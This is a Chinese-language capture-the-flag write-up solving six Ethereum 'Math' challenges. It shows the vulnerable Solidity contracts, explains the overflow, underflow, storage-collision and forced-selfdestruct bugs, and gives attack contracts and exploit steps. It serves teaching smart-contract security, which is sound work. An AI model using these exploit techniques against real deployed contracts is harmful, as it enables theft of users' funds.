Math
这个栏目考察的都是一些数学方面的知识
第一题:Token Sale
代码:
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
isComplete函数要求我们本合约的余额要小于 1 ether,这个代码提供了 buy 和 sell 函数,让我们可以以 1 numToken :1 ether 的汇率购买和卖出 numToken 。我们发现在 buy 函数中有这么一行代码:
require(msg.value == numTokens * PRICE_PER_TOKEN);
我们知道 EVM 虚拟机最大只有 256 位,即最大值为 2 ** 256 - 1,所以当我们输入的numTokens是一个很大的值的时候,就会溢出,让我们用小于一个 ether 的价格买到一个 Token。
在remix中我们可以通过这样的代码来计算:
pragma solidity ^0.8.0;
contract attack{
uint256 public max2;
uint256 public max10;
uint256 public numToken;
uint256 public value;
function setNumber() public {
max2 = 2**256 - 1;
max10 = 10**18;
}
function getResult() public {
numToken = max2 / max10 + 1;
value = 10**18 - max2 % 10**18 - 1;
}
}
在目标合约中调用 buy 函数,输入参数为我们算出来的 numToken,msg.value 是我们算出来的value:
此时我们地址的余额就很多了:
调用 sell 函数取出 1 ether 即可:
第二题:Token whale
代码:
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
isComplete 函数要求 player 的余额大于 1000000,观察代码,我们会发现漏洞就在合约的 _transfer 函数里:
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
我会发现,执行 _transfer 函数时,它扣除的是 msg.sender 的钱,而不是 from 地址的钱,通过这个漏洞,我们可以使用三个用户来增加 player 的钱:
用户 A:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
用户 B:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
用户 C:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
player 设置为用户 A
1. 切换到用户 A,调用 approve 函数向用户 B 批准金额,金额只要大于 0 小于 2** 256 - 1 即可:
2. 切换到用户 B,调用 transferFrom 函数向用户 C 转账,金额小于上一步 approve 的金额即可。因为此时用户 B 的金额为 0,减少之后就会下溢变成一个很大的数字:
3. 调用 transfer 函数向用户 A 转账即可:
第三题:Retirement fund
代码:
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
isComplete 函数要求我们本合约的余额为 0,合约部署者在银行中存了 1 ether,并且要 10 年之后才能取出来,如果他在这 10 年里取了钱,就会损失 10% 的钱。合约中的 withdraw 函数只有部署这才能调用,所以我们把重心放在 collectPenalty 函数上,这个函数要求 withdrawn 变量的值大于零,我们就可以把钱取出来,因为 startBalance 是一开始就确认好的,所以我们只能增加合约的钱,但是合约中没有可交易的 fallback 函数也没有 receive 函数,所以我们只能通过 selfdestruct 函数来强制给合约转钱。
攻击合约:
pragma solidity ^0.4.21;
import "./RetirementFund.sol";
contract RetirementFundChallengeAttack {
RetirementFundChallenge challenge;
constructor(address _addr) public {
challenge = RetirementFundChallenge(_addr);
}
function pay() public payable {}
function addToken(address _addr) public {
selfdestruct(_addr);
}
}
先给我们的攻击合约转 1 ether,在调用 addToken 函数,给目标合约转钱,再调用 collectPenalty 函数即可:
第四题:Mapping
代码:
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
isComplete 函数要求我么本合约的金额为 0,这道题的代码很短,合约中没有任何直接修改 isComplete 的函数,我们只能从 map 这个数组入手,我们注意到这行代码:
map.length = key + 1;
在这里 map 的 length 可能会发生溢出,因为 isComplete 存储在 slot0 中,所以我们可以找到一个值,使得其溢出之后刚好覆盖到 slot0。
动态数组 map 占据了 slot1 存储,但里面存储的只是 map 的长度,真正的数据是从 keccak256(slot) + index 开始存储的,即:map[0] 存储在 keccak256(1) 处,由此可知,计算公式即为:
map[isComplete] = 2**256 - uint256(keccack256(bytes32(1)))
pragma solidity ^0.4.21;
contract MappingChallenge {
uint256 max2 = 2**256 - 1;
function get() public returns (uint256) {
return max2 - uint256(keccak256(bytes32(1))) + 1;
}
}
部署两个合约,调用攻击合约计算出 isComplete 在数组中的位置:
在目标合约中调用 set 函数,输入 key 为我们计算出的值,value 为 1 (true = 1):
第五题:Donation
代码:
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
isComplete 函数要求我们本合约的余额为 0,这个合约代码的问题是在于这行代码:
Donation donation;
结构体的声明并没有初始化,就没有赋予存储空间,所以 donation 会存储在 slot0 中,然后为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,又因为 owner 是存储在 slot1 中的,所以我们就可以通过更改 donation.etherAmount 来覆盖 owner 的值;
注意 etherAmount 是一个 uint256 类型的,所以我们要把调用者的地址显式转换为 uint256 ;同时,donate 函数还要求我们传入的金额要等于 etherAmount / scale ,即 etherAmount / 10**36:
pragma solidity ^0.4.21;
contract DonationChallenge {
function getNum() public view returns(uint256) {
return uint256(msg.sender);
}
function getValue() public view returns(uint256) {
return getNum() / 10**18 / 10**18;
}
}
部署目标合约,调用 donate 函数,输入 etherAmount 为我们 getNum 计算出的值,msg.value 为 getValue 的值:
第六题:Fifty years
代码:
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
isComplete 函数要求我们本合约的余额为 0,通过前几关的知识,我们可以知道:
1. upsert 函数中的 contribution.amount 和 contribution.unlockTimestamp 的赋值可以分别覆盖掉 queue数组的长度 和 head 变量。
2. 在 upsert 函数中下面的代码 :
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
会发生上溢,所以我们找到一个 timestamp 使得其加 1 days 刚好会溢出为 0,我们就可以把取钱的时间设置为 0。
1. 计算 timestamp(时间是以秒计算的,金额是以 wei 计算的):
pragma solidity ^0.4.21;
contract attack {
uint256 max2 = 2**256 - 1;
uint256 oneDay = 24 * 60 * 60;
function getNum() public returns(uint256) {
return max2 - oneDay + 1;
}
}
2. 部署目标合约,调用 upsert 函数,输入 index 为 1,timestamp 为我们算出来的值,msg.value = 1 wei :
3. 再次调用 upsert 函数,输入 index 为 2,timestamp 为 0,msg.value = 2 wei :
4. 此时就可以调用 withdraw 函数, 输入 index 为 2,取出合约中的钱,但是,当我们调用 withdraw 函数的时候,会发现调用失败,查阅了其他资料后发现:
queue.length 和 amount 是占据的同一块存储,所以当 queue.length 增加的时候 amount 的值也会增加,即当我们 index 等于 1 时,queue 数组进行了 push 操作,queue.length 增加了 1,所以 amount 也加了 1,即 2 wei,所以当我们调用 withdraw 函数时,要取出的钱大于合约中有的钱,就会报错。
- Contribution 0 (made by CTE): contribution.amount == msg.value == 1 ETH;
- Contribution 1 (us): contribution.amount == msg.value == 1 wei + `queue.push` == 2 wei;
- Contribution 2 (us): contribution.amount == msg.value == 2 wei + `queue.push` == 3 wei;
- Contract total == 1.00...03 ETH, Contributions total == 1.00...05 ETH.
文章链接https://mirror.xyz/kyrers.eth/dSjaARoTkYitJyQA8CFKLrS5CXbRVf-K4ol8Nla-bj0
我们实际的合约金额为1.000000000000000003 ETH,但是我们要取的金额为1.000000000000000005 ETH,那我们怎么办呢?其中一种做法就是写一个自毁合约,来给目标合约转 2 wei 就可以了:
pragma solidity ^0.4.21;
contract attack {
function pay() public payable {}
function addToken(address _addr) public {
selfdestruct(_addr);
}
}
调用 withdraw 函数即可,输入 index 为 2 即可: